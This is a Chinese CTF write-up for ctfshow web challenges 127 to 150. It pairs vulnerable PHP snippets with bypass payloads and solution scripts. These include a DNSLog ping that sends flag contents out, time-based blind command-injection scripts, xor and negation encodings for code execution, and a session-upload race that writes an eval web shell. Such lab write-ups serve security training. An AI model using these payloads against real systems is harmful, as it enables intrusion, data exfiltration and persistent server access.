 if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
}

extract () 函数从数组中将变量导入到当前的符号表。

没啥限制,直接变量覆盖,这里下划线被过滤,尝试 [[空格], 空格可以直接绕过

image-20230215165026747

# web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

call_user_func () 回调函数,看到这个函数自然想到使得第一个参数称为一个危险函数,但是 check 将所有的数字字母都过滤了,但是这里没有过滤符号,想到有一个奇怪的东西_(),_()==gettext () 是 gettext () 的拓展函数,开启 text 扩展。需要 php 扩展目录下有 php_gettext.dll

get_defined_vars() 函数返回由所有已定义变量所组成的数组。

当正常的 gettext (“get_defined_vars”); 时会返还 get_defined_vars,外层的回调函数再调用 get_defined_vars 打印所有已经定义的变量

payload: ?f1=_&f2=get_defined_vars

# web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos () 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。这里直接目录穿越即可

image-20230215201702900

# web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

image-20230215201952640

这里的是.+?,所以是 ctfshow 前面至少加一个东西才能匹配到,直接传 ctfshow 即可,或者数组绕过,stripos 不处理数组

# web131

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

str_repeat () 函数把字符串重复指定的次数。

PHP 为了防止正则表达式的拒绝服务击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false, 这样就可以绕过第一个正则表达式了

import requests
url="http://151cbf5e-eff1-412c-98b3-a1fc814ced40.challenge.ctf.show/"
data={
    "f":"a"*1000000+"36Dctfshow"
}
r=requests.post(url,data)
print(r.text)

image-20230215204538988

# 后篇

# web132

image-20230215205118383

扫描得到,访问 admin

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }       
    }
}

这里有 ||,只需要满足前面两个或者后面一个即可,所以这里给 username 传入一个 admin 绕过

image-20230215210142212

# web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

本题 emmm 长度限制为 6,危险函数限制,这里构造一个

`$F`;

注意这里后面是有空格的,刚好 6 个字符,就可以通过反引号执行命令,但是执行完命令后发现没有回显 DNSLog Platform 通过这个在线工具,带出回显的结果

payload:

?F=`$F`;+ping `cat flag.php|grep ctfshow`.cez6di.dnslog.cn -c 1

image-20230216002935763

# web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

extract () : 将数组转换为多个变量

$_SERVER ['QUERY_STRING'] 获取 URL 数据,将数据转换为数组,获取单个数组元素

parse_str () 函数把查询字符串解析到变量中

payload:

?_POST[key1]=36d&_POST[key2]=36d

# web135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

这一题是 web133 的 “升级” 版本,打开文件的命令都被 ban 了

?F=`$F`;+cp%20flag.php%201.txt

image-20230216213028644

# web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

tee 命令用于读取标准输入的数据,这里可以将执行的结果输入到新的文件然后读取

payload

?c=ls /| tee 1

这里会将 ls / 的查询结果写入 1 中

image-20230217104454990

再读取文件就可以了

?c=cat /f149_15_h3r3| tee 1

image-20230217104616360

# web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

这里直接调用静态方法即可,payload

ctfshow=ctfshow::getFlag
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

image-20230217152126627

# web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
call_user_func($_POST['ctfshow']);

:被 ban,还可以使用上面数组的方式

call_user_func 函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

# web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

这题好像和 136 一样但是使用 tee 命令却带不出回显了这里使用了一个新的命令 awk

AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。

image-20230217183611353

cut 命令用于显示每行从开头算起 num1 到 num2 的文字

-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。
-c :以字符为单位进行分割。
-d :自定义分隔符,默认为制表符。
-f :与-d一起使用,指定显示哪个区域。
-n :取消分割多字节字符。仅和 -b 标志一起使用。如果字符的最后一个字节落在由 -b 标志的 List 参数指示的
范围之内,该字符将被写出;否则,该字符将被排除

这里配合 cut 可以将字符单个输出

image-20230217183827166

通过 shell 语法延迟,将字符转换为时间信道

image-20230218121621350

那么就可以做到类似时间盲注的效果,简单的整个 exp,找到存放 flag 的文件

import requests
import time
import string
str=string.digits+string.ascii_letters+"-_."
#rint(str)
url="http://f59ad576-2f1c-49a2-b14d-92df62c3edfa.challenge.ctf.show/?c="
flag=""
for i in range(1,10):
    for j in range(1,20):
        for s in str:
            payload = "if [ `ls / -1|awk \"NR=={0}\" |cut -c {1}` == \"{2}\" ];then sleep 3;fi".format(i,j,s)
            payloadpro=url+payload
            #print(payloadpro)
            try:
                requests.get(payloadpro,timeout=2.5)
            except:
                flag=flag+s
                print(flag)
                break
    flag=flag+" "
print(flag)

image-20230218175130501

接下来将命令改一下拿到 flag

import requests
import time
import string
str=string.digits+string.ascii_letters+"-_."
#rint(str)
url="http://f59ad576-2f1c-49a2-b14d-92df62c3edfa.challenge.ctf.show/?c="
flag=""
for i in range(1,10):
    for j in range(1,50):
        for s in str:
            payload = "if [ `cat /f149_15_h3r3|awk \"NR=={0}\" |cut -c {1}` == \"{2}\" ];then sleep 3;fi".format(i,j,s)
            payloadpro=url+payload
            #print(payloadpro)
            try:
                requests.get(payloadpro,timeout=2.5)
            except:
                flag=flag+s
                print(flag)
                break
    flag=flag+" "
print(flag)

image-20230218175624322

# web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

最后一个 if 是一个弱类型比较,只要上面的值为 0 或者 false 或 NULL 的

post f1=usleep&f2=usleep
post f1=gmdate&f2=gmdate
post f1=intval&f2=intval
post f1=system&f2=system

等等,很多函数都可以

# web141

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

if (preg_match ('/^\W+$/', $v3)) 这里只能使用符号,相当于无参 rce

v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C);

image-20230218195950435

?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

image-20230218200028622

# web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
?v1=0

果然是难度 0

# web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

和 web141 一样使用无参 rce,就是加上了一些限制,但是没有过滤 ^, 这里使异或绕过即可

image-20230220180025626

# web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
function check($str){
    return strlen($str)===1?true:false;
}

这里题目说是上一题的升级版,但是好像更简单?

v3 的长度唯一,然后再 v2rce

image-20230220180616767

上面的 payload 接着用就行了

image-20230220180644671

# web145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

emmmmm 加了一些限制但是好像没有过滤取反,接着用就行

# web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

开始我还在疑惑为啥题没改,才看到那些运算符都加入黑名单了,这里还能用的有 | 和三元运算符

?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

image-20230220182206212

# web147

<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }
}

create_function 的代码注入,先看看官方文档怎么说

image-20230220182826525

这里就正常使用 create_function 的代码注入,但是麻烦的是这个正则,这里使用 \ 可以绕过,php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路 径; 而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。 如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法

那么剩下的就简单了,正常注入就行,} 闭合原来的函数,然后执行命令,然后再把多余的} 给注释掉就可以了

image-20230220185007527

image-20230220184918100

# web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

这里看来只能使用异或了

?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

image-20230220190521659

# web149

<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

很简单的条件竞争没啥好说的

# web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    function __destruct(){
        echo $this->secret;
    }
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

这里的 include 文件包含没啥限制,任意文件包含,看到往上的师傅说可以日志包含,果然强但是我没能成功复现,包含 session 文件还是可以的

image-20230220202411298

# web150_plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;
    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }
    function __destruct(){
        echo $this->secret;
    }
    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }
    function __autoload($class){
        if(isset($class)){
            $class();
    }
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

这里多加了一个 log,但是好像没啥太大影响

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

最后整个脚本

import io
import requests
import threading
url = 'http://3b26945b-f942-4c30-8a18-9c796b82a7cc.challenge.ctf.show/?isVIP=1'
event = threading.Event()
def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaaa<?php file_put_contents("/var/www/html/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=="));?>'
    }
    while True:
        if event.is_set():
            return
        f = io.BytesIO(b'a' * 1024 * 10)
        _ = session.post(url,cookies={'PHPSESSID': 'down'}, data=data, files={'file': ('verysafe.txt', f)})
def read(session):
    while True:
        if event.is_set():
            return
        response = session.post(url, data={"ctf": "/tmp/sess_down"})
        if 'aaaaaa' in response.text:
            print(response.text)
            event.set()
        else:
            print('retry')
if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()
    event.wait()